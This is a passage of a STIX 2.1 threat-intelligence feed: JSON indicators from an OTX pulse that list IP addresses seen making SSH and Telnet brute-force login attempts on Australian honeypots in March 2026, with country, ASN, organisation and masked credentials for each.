      "pattern": "[ipv4-addr:value = '46.101.107.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T12:15:03.000Z",
      "valid_until": "2026-05-02T12:15:01.000Z"
    },
    {
      "created": "2026-03-31T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bb553741-a276-4303-ae88-768156cf3545",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T12:15:03.000Z",
      "valid_until": "2026-05-02T12:15:01.000Z"
    },
    {
      "created": "2026-03-31T13:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 31724. Organisation(s): Svyazist LLC.",
      "id": "indicator--95715050-aa62-4920-bdcb-2e79da8af729",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T13:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.221.7.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T13:15:37.000Z",
      "valid_until": "2026-05-02T13:15:00.000Z"
    },
    {
      "created": "2026-03-31T13:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 14080. Organisation(s): Telmex Colombia S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********c, 1*********., 3***********4, 3**********4, P*******4.",
      "id": "indicator--67fdb0c5-45c6-4433-8245-04ccab829a2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T13:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.48.79.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T13:15:37.000Z",
      "valid_until": "2026-05-02T13:15:00.000Z"
    },
    {
      "created": "2026-03-31T13:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 29244. Organisation(s): CETIN Bulgaria EAD.",
      "id": "indicator--078ffbe9-faca-4d3c-a6dc-3a9d6bab0645",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T13:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.156.141.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T13:15:37.000Z",
      "valid_until": "2026-05-02T13:15:00.000Z"
    },
    {
      "created": "2026-03-31T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9304. Organisation(s): HGC Global Communications Limited.",
      "id": "indicator--7aad4088-4658-4f8f-b208-eee9d39a8796",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.254.92.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T14:15:03.000Z",
      "valid_until": "2026-05-02T14:15:00.000Z"
    },
    {
      "created": "2026-03-31T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52724. Organisation(s): Adriano Telecomunicacoes Ltda Me.",
      "id": "indicator--99479002-7ecc-405a-b784-993f1bd74b90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.84.92.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T14:15:03.000Z",
      "valid_until": "2026-05-02T14:15:00.000Z"
    },
    {
      "created": "2026-03-31T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--d334e173-0b0f-4230-bd48-4009790b52e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.139.15.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T14:15:03.000Z",
      "valid_until": "2026-05-02T14:15:00.000Z"
    },
    {
      "created": "2026-03-31T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Heralding. Target ports: 5900. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Passwords observed (masked): 1******8, 0****0, 0******0, 1****1, 1******1.",
      "id": "indicator--54f7189f-dca3-4d1b-b851-ce361fc5deae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.197.25.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T14:15:03.000Z",
      "valid_until": "2026-05-02T14:15:00.000Z"
    },
    {
      "created": "2026-03-31T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--69ac6064-3585-4c50-a2b9-b22b54461167",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.185.55.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T14:15:03.000Z",
      "valid_until": "2026-05-02T14:15:00.000Z"
    },
    {
      "created": "2026-03-31T14:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): !******r.",
      "id": "indicator--e0232724-5066-4f3f-80d3-e5ec627c9820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.210.110.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T14:15:03.000Z",
      "valid_until": "2026-05-02T14:15:00.000Z"
    },
    {
      "created": "2026-03-31T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--aea0e8fb-ddaa-4d54-a95d-97cadfa370da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.36.74.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T15:15:03.000Z",
      "valid_until": "2026-05-02T15:15:01.000Z"
    },
    {
      "created": "2026-03-31T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 5065. Organisation(s): Bunny Communications. Usernames observed (masked): r**t. Passwords observed (masked): D******6.",
      "id": "indicator--cf1b67f1-fcc9-4594-88d4-a0e2b1c1dc7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.13.19.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T15:15:03.000Z",
      "valid_until": "2026-05-02T15:15:01.000Z"
    },
    {
      "created": "2026-03-31T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2c302aad-d00f-4ebc-9dd4-f0139fe4bcd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.126.226.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T15:15:03.000Z",
      "valid_until": "2026-05-02T15:15:01.000Z"
    },
    {
      "created": "2026-03-31T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1*******@.",
      "id": "indicator--cba21541-154b-4c38-9c23-4e600ac13e89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.230.35.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T15:15:03.000Z",
      "valid_until": "2026-05-02T15:15:01.000Z"
    },
    {
      "created": "2026-03-31T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--561a7ccd-d1b6-42e9-a277-3c49596a02b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T15:15:03.000Z",
      "valid_until": "2026-05-02T15:15:01.000Z"
    },
    {
      "created": "2026-03-31T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 22773. Organisation(s): Cox Communications Inc.. Usernames observed (masked): r**t. Passwords observed (masked): R********5.",
      "id": "indicator--bcf4b606-83a3-408a-bae3-cc0a1639b397",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.249.245.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T15:15:03.000Z",
      "valid_until": "2026-05-02T15:15:01.000Z"
    },
    {
      "created": "2026-03-31T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): r**t. Passwords observed (masked): A********@.",
      "id": "indicator--39cacbca-2bb3-4db7-9253-0d73fe626820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.247.36.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T15:15:03.000Z",
      "valid_until": "2026-05-02T15:15:01.000Z"
    },
    {
      "created": "2026-03-31T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 47118. Organisation(s): MAN net Ltd..",
      "id": "indicator--f79bf812-96d7-41a7-9441-5288729646e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.203.177.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T15:15:03.000Z",
      "valid_until": "2026-05-02T15:15:01.000Z"
    },
    {
      "created": "2026-03-31T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited. Usernames observed (masked): r**t, **. Passwords observed (masked): s***l, t**r.",
      "id": "indicator--ce755b9b-4696-4b94-8a1c-e7490ddf7d38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.91.104.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T16:15:03.000Z",
      "valid_until": "2026-05-02T16:15:01.000Z"
    },
    {
      "created": "2026-03-31T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A**********0, P*******., c*****u.",
      "id": "indicator--04e87d1b-cebd-44f6-8268-cdbe085898bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.106.66.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T16:15:03.000Z",
      "valid_until": "2026-05-02T16:15:01.000Z"
    },
    {
      "created": "2026-03-31T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 27651. Organisation(s): ENTEL CHILE S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2****r, 3***********4, 3**********4, A********., A*******5.",
      "id": "indicator--b5ac6f88-c23c-4828-b614-e63cd5d39ce2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.10.86.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T16:15:03.000Z",
      "valid_until": "2026-05-02T16:15:01.000Z"
    },
    {
      "created": "2026-03-31T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, H*******4, M******4, Q*******#.",
      "id": "indicator--ae1e5e16-a063-4d91-bbac-fbb6e7221dbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.23.238.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T16:15:03.000Z",
      "valid_until": "2026-05-02T16:15:01.000Z"
    },
    {
      "created": "2026-03-31T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 62005. Organisation(s): BlueVPS OU. Usernames observed (masked): r**t. Passwords observed (masked): t**r.",
      "id": "indicator--b31511fd-5732-4d70-a2b1-2234992e942a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.150.109.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T16:15:03.000Z",
      "valid_until": "2026-05-02T16:15:01.000Z"
    },
    {
      "created": "2026-03-31T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********d, 1********., 2*********n, 3***********4, 3**********4.",
      "id": "indicator--3db36399-01a9-42eb-b0e2-d2bd647f0dfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.190.156.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T16:15:03.000Z",
      "valid_until": "2026-05-02T16:15:01.000Z"
    },
    {
      "created": "2026-03-31T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--bc73ac3f-8d4e-43b5-bde8-e0a694043eda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.22.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T17:15:03.000Z",
      "valid_until": "2026-05-02T17:15:00.000Z"
    },
    {
      "created": "2026-03-31T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--4103fca8-dac4-43a9-beb7-ebebb320c1d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.62.161.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T17:15:03.000Z",
      "valid_until": "2026-05-02T17:15:00.000Z"
    },
    {
      "created": "2026-03-31T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 58541. Organisation(s): Qingdao,266000.",
      "id": "indicator--edd71307-92c3-4fb5-aabb-674799f51366",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '140.249.49.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T17:15:03.000Z",
      "valid_until": "2026-05-02T17:15:00.000Z"
    },
    {
      "created": "2026-03-31T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******#, 1*******d, 3***********4, 3**********4, A*******..",
      "id": "indicator--ca78544a-ce5f-459a-8ca1-17c75c17e75f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.60.76.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T17:15:03.000Z",
      "valid_until": "2026-05-02T17:15:00.000Z"
    },
    {
      "created": "2026-03-31T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): h******l.",
      "id": "indicator--2f655d6b-f9b1-4841-999f-0fc45f09d613",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.136.110.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T17:15:03.000Z",
      "valid_until": "2026-05-02T17:15:00.000Z"
    },
    {
      "created": "2026-03-31T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138590. Organisation(s): Prime Networks.",
      "id": "indicator--92864ce9-12dc-4d35-b272-98f86d92cf53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.194.15.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T17:15:03.000Z",
      "valid_until": "2026-05-02T17:15:00.000Z"
    },
    {
      "created": "2026-03-31T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--733606c7-2913-47d7-873c-7699f71d04f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.52.93.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T17:15:03.000Z",
      "valid_until": "2026-05-02T17:15:00.000Z"
    },
    {
      "created": "2026-03-31T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc. Usernames observed (masked): r**t, **. Passwords observed (masked): s***l, t**r.",
      "id": "indicator--3448d646-cba3-4d51-83a1-860642eacc03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.107.166.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T17:15:03.000Z",
      "valid_until": "2026-05-02T17:15:00.000Z"
    },
    {
      "created": "2026-03-31T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc.. Usernames observed (masked): G************1, U*************************************************************************************************************************6. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--83cf0401-2069-4004-b084-764a3e58a429",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T17:15:03.000Z",
      "valid_until": "2026-05-02T17:15:00.000Z"
    },
    {
      "created": "2026-03-31T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 205368. Organisation(s): Fnet LLC. Usernames observed (masked): r**t, **. Passwords observed (masked): s***l, t**r.",
      "id": "indicator--5c22d730-0c16-4007-bbbd-94946370596d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.86.229.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T17:15:03.000Z",
      "valid_until": "2026-05-02T17:15:00.000Z"
    },
    {
      "created": "2026-03-31T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--30cbec67-d7f7-4678-b83d-304d3a87a493",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.22.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
